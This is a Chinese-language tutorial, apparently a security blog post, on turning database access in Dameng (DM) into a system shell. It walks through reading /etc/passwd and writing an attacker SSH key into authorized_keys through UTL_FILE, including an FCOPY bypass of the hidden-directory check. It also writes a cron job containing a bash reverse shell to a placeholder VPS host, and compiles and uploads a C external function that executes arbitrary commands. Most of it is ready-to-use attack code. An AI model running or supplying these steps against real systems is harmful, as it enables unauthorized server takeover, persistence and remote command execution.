通过达梦数据库获取系统shell的一些方式 DM 在新建库第一次启动服务器时会自动创建所有系统包。
其中利用UTL_FILE系统包可以达到获取系统shell的目的。
写入ssh密钥接管服务器 基本条件
服务器开启ssh服务并开放了对应端口,允许密钥登录
预先存在~/.ssh/authorized_keys文件
数据库用户至少具有
创建目录对象的权限(或存在可利用的目录对象)
目录对象的读写权限
1 2 GRANT READ ON DIRECTORY < dir_name> TO < user_name> ;GRANT WRITE ON DIRECTORY < dir_name> TO < user_name> ;
创建过FILE系统包(或有权限创建FILE系统包)
1 SP_CREATE_SYSTEM_PACKAGES (1 ,'UTL_FILE' );
示例 首先创建目录对象ETC(指向/etc):
1 CREATE DIRECTORY ETC AS '/etc' ;
创建FILE系统包(如果没创建过)
1 SP_CREATE_SYSTEM_PACKAGES (1 ,'UTL_FILE' );
读取/etc/passwd文件
1 2 3 4 5 6 7 8 9 10 11 DECLARE V1 VARCHAR2(8186 ); F1 UTL_FILE.FILE_TYPE; BEGIN F1 := UTL_FILE.FOPEN('ETC' ,'passwd' ,'R' ,256 ); UTL_FILE.GET_RAW(F1,V1,32767 ); print V1; UTL_FILE.FCLOSE(F1); END ;
可以得知有哪些用户
在对应目录写入ssh密钥,首先新建指向/home/dmdba/.ssh的目录对象
1 CREATE DIRECTORY SSH AS '/home/dmdba/.ssh' ;
生成一对ssh密钥:
1 ssh-keygen -t rsa -b 4096
写入ssh密钥:
1 2 3 4 5 6 7 8 9 DECLARE V1 VARCHAR2(8186 ); F1 UTL_FILE.FILE_TYPE; BEGIN F1 := UTL_FILE.FOPEN('SSH' ,'authorized_keys' ,'W' ,32767 ); UTL_FILE.PUT_LINE(F1, 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnrUs/FpLJmgeIbsMUbOoT/4JSCYltoZEbomGkPjL11XPpSRILvhBJSjfMAXnaQXqlaSISicHoTbhHmL2H8Hoh/SfFh0zzf6yiOBbdybPnPCs3CBVV3iWx5y8QzC62G0lbw6gfD73KN3EDqbjO7g+2eRiPmqaQfGqxtm9RsFJIZfgyvLLvMgudZ01JW4VckOsnJuXkXBE68CRiRM6NSIEqLGETZ919xI6TjEccgq+0t0bqlj5m3oy40N6d+GpaNt5xV/NP7aXGSEYfnIQw6YGhXPd84zMFrSLD0KDtcrLIY1Gm9YiJDLum+ApB5TakkGJopMEiIxf5F4tEJlnfTcpvIsj0G1QOU/Sfym3nSYTfoQ78cCTjoIEW24EFsVDQeIBvB1tcy8xO6I3vyHGD9gKZXSE8XydYPR9he1wq/uLYgCd1d2OF38qiObfdQTnYoX9HYHw+Ct6DZ8TUxhKMklQo2sAM2/59SaqYpdM7uZH14W+RNTvi/lxJfmD4iZoMulHIqYy9KXk4+x1KV5tRpcyg4UpXemD4ZbYIxYgVfpTb9YW14HCYSPIIIkC/jfuDMqbZQ88SQTld36On/Z82e5lKPZ4A8TnP1yGefWUzPRiudxf3iFLEGa0F4qEhr5ES9auWmS5lIX05Vy7Zna37pnAronPIYKKk0QGweabxNnA2gw===' ); UTL_FILE.FCLOSE(F1); END ;
正常情况下,达梦数据库不允许对隐藏目录(即以点开头的文件夹)下文件进行读写操作(即使权限足够),例如:
1 CREATE DIRECTORY SSH AS '/home/dmdba/.ssh' ;
尝试写入/home/dmdba/.ssh/test文件:
1 2 3 4 5 6 7 8 9 DECLARE V1 VARCHAR2(8186 ); F1 UTL_FILE.FILE_TYPE; BEGIN F1 := UTL_FILE.FOPEN('SSH' ,'test' ,'W' ,32767 ); UTL_FILE.PUT_LINE(F1, 'hahahah' ); UTL_FILE.FCLOSE(F1); END ;
但是可以利用FCOPY,借助可读写目录间接读写隐藏目录下的文件,以下借助/home/dmdba进行中转:
1 CREATE DIRECTORY HOME AS '/home/dmdba' ;
所以正确写入方式应该是:
1 2 3 4 5 6 7 8 9 10 11 DECLARE V1 VARCHAR2(8186 ); F1 UTL_FILE.FILE_TYPE; BEGIN F1 := UTL_FILE.FOPEN('HOME' ,'authorized_keys' ,'W' ,32767 ); UTL_FILE.PUT_LINE(F1, 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnrUs/FpLJmgeIbsMUbOoT/4JSCYltoZEbomGkPjL11XPpSRILvhBJSjfMAXnaQXqlaSISicHoTbhHmL2H8Hoh/SfFh0zzf6yiOBbdybPnPCs3CBVV3iWx5y8QzC62G0lbw6gfD73KN3EDqbjO7g+2eRiPmqaQfGqxtm9RsFJIZfgyvLLvMgudZ01JW4VckOsnJuXkXBE68CRiRM6NSIEqLGETZ919xI6TjEccgq+0t0bqlj5m3oy40N6d+GpaNt5xV/NP7aXGSEYfnIQw6YGhXPd84zMFrSLD0KDtcrLIY1Gm9YiJDLum+ApB5TakkGJopMEiIxf5F4tEJlnfTcpvIsj0G1QOU/Sfym3nSYTfoQ78cCTjoIEW24EFsVDQeIBvB1tcy8xO6I3vyHGD9gKZXSE8XydYPR9he1wq/uLYgCd1d2OF38qiObfdQTnYoX9HYHw+Ct6DZ8TUxhKMklQo2sAM2/59SaqYpdM7uZH14W+RNTvi/lxJfmD4iZoMulHIqYy9KXk4+x1KV5tRpcyg4UpXemD4ZbYIxYgVfpTb9YW14HCYSPIIIkC/jfuDMqbZQ88SQTld36On/Z82e5lKPZ4A8TnP1yGefWUzPRiudxf3iFLEGa0F4qEhr5ES9auWmS5lIX05Vy7Zna37pnAronPIYKKk0QGweabxNnA2gw===' ); UTL_FILE.FCLOSE(F1); END ;UTL_FILE.FCOPY('HOME' ,'authorized_keys' ,'SSH' ,'authorized_keys' );
计划任务反弹shell 基本条件
1 SP_CREATE_SYSTEM_PACKAGES (1 ,'UTL_FILE' );
示例 首先创建目录对象ETC(指向/etc):
1 CREATE DIRECTORY ETC AS '/etc' ;
创建FILE系统包(如果没创建过)
1 SP_CREATE_SYSTEM_PACKAGES (1 ,'UTL_FILE' );
读取/etc/passwd文件
1 2 3 4 5 6 7 8 9 10 11 DECLARE V1 VARCHAR2(8186 ); F1 UTL_FILE.FILE_TYPE; BEGIN F1 := UTL_FILE.FOPEN('ETC' ,'passwd' ,'R' ,256 ); UTL_FILE.GET_RAW(F1,V1,32767 ); print V1; UTL_FILE.FCLOSE(F1); END ;
可以得知有哪些用户
再创建目录对象CRON(指向/var/spool/cron)
1 CREATE DIRECTORY CRON AS '/var/spool/cron' ;
写入计划任务:
1 2 3 4 5 6 7 8 9 DECLARE V1 VARCHAR2(8186 ); F1 UTL_FILE.FILE_TYPE; BEGIN F1 := UTL_FILE.FOPEN('CRON' ,'centos' ,'W' ,32767 ); UTL_FILE.PUT_LINE(F1, '* * * * * /bin/bash -c "bash -i >& /dev/tcp/vps_ip/vps_port 0>&1"' ); UTL_FILE.FCLOSE(F1); END ;
vps开启监听:
获取到反弹的shell执行命令
外部函数RCE 基本条件
示例 准备一个执行shell命令的c代码,参考[外部函数 | 达梦技术文档](https://eco.dameng.com/document/dm/zh-cn/pm/external-function.html#10.1.2 C 外部函数创建)编写
de_pub.h位于安装文件x:...\dmdbms\include中,适用于linux系统的一个c代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 #include "de_pub.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #define MAX_OUTPUT_SIZE 65536 de_data EXEC_COMMAND (de_args *args) { de_data result; char *cmd = NULL ; char *output = NULL ; FILE *fp = NULL ; result.null_flag = 1 ; if (de_is_null(args, 0 )) { return de_return_null(); } cmd = de_get_str(args, 0 ); if (cmd == NULL || strlen (cmd) == 0 ) { de_str_free(cmd); return de_return_null(); } output = (char *)malloc (MAX_OUTPUT_SIZE); if (output == NULL ) { de_str_free(cmd); return de_return_null(); } output[0 ] = '\0' ; fp = popen(cmd, "r" ); if (fp == NULL ) { free (output); de_str_free(cmd); return de_return_str("" ); } char buffer[4096 ]; size_t total_len = 0 ; while (fgets(buffer, sizeof (buffer), fp) != NULL ) { size_t line_len = strlen (buffer); if (total_len + line_len >= MAX_OUTPUT_SIZE - 1 ) { break ; } strcpy (output + total_len, buffer); total_len += line_len; } pclose(fp); de_str_free(cmd); size_t out_len = strlen (output); while (out_len > 0 && (output[out_len - 1 ] == '\n' || output[out_len - 1 ] == '\r' )) { output[--out_len] = '\0' ; } result = de_return_str_with_len(output, out_len); free (output); return result; }
编译:
1 gcc -o ./EXEC_COMMAND.so -fPIC -shared EXEC_COMMAND.c
创建一个临时目录对象
1 CREATE DIRECTORY TMP AS '/tmp' ;
上传将EXEC_COMMAND.so转16进制上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 DECLARE l_hex_clob CLOB := '48656C6C6F...' ; l_file UTL_FILE.FILE_TYPE; l_pos INTEGER := 1 ; l_chunk_size INTEGER := 32766 ; l_hex_chunk VARCHAR2(32767 ); l_raw_chunk RAW(32767 ); l_total_len INTEGER ; BEGIN l_total_len := DBMS_LOB.GETLENGTH(l_hex_clob); IF MOD (l_total_len, 2 ) != 0 THEN RAISE_APPLICATION_ERROR(-20001 , 'Hex 字符串长度必须为偶数,当前长度: ' || l_total_len); END IF; l_file := UTL_FILE.FOPEN('TMP' , 'EXEC_COMMAND.so' , 'WB' , 32767 ); WHILE l_pos <= l_total_len LOOP l_chunk_size := LEAST(32766 , l_total_len - l_pos + 1 ); l_chunk_size := l_chunk_size - MOD (l_chunk_size, 2 ); l_hex_chunk := DBMS_LOB.SUBSTR(l_hex_clob, l_chunk_size, l_pos); IF LENGTH(l_hex_chunk) = 0 THEN l_pos := l_pos + l_chunk_size; CONTINUE; END IF; l_raw_chunk := HEXTORAW(l_hex_chunk); UTL_FILE.PUT_RAW(l_file, l_raw_chunk, TRUE ); l_pos := l_pos + l_chunk_size; END LOOP; UTL_FILE.FCLOSE(l_file); DBMS_OUTPUT.PUT_LINE('写入文件成功' ); EXCEPTION WHEN UTL_FILE.WRITE_ERROR THEN DBMS_OUTPUT.PUT_LINE('写入文件失败:权限不足、磁盘满或路径错误' ); IF UTL_FILE.IS_OPEN(l_file) THEN UTL_FILE.FCLOSE(l_file); END IF; WHEN VALUE_ERROR THEN DBMS_OUTPUT.PUT_LINE('HEXTORAW 错误:包含非法十六进制字符,位置: ' || l_pos); IF UTL_FILE.IS_OPEN(l_file) THEN UTL_FILE.FCLOSE(l_file); END IF; WHEN STORAGE_ERROR THEN DBMS_OUTPUT.PUT_LINE('内存不足:字符串过大,建议使用 CLOB 分段读取' ); IF UTL_FILE.IS_OPEN(l_file) THEN UTL_FILE.FCLOSE(l_file); END IF; WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE('未知错误:' || SQLERRM); IF UTL_FILE.IS_OPEN(l_file) THEN UTL_FILE.FCLOSE(l_file); END IF; END ;/
创建外部函数:
1 2 3 CREATE OR REPLACE FUNCTION EXEC_COMMAND(CMD VARCHAR )RETURN VARCHAR EXTERNAL '/tmp/EXEC_COMMAND.so' "EXEC_COMMAND" USING C;
命令执行:
1 SELECT EXEC_COMMAND('whoami' );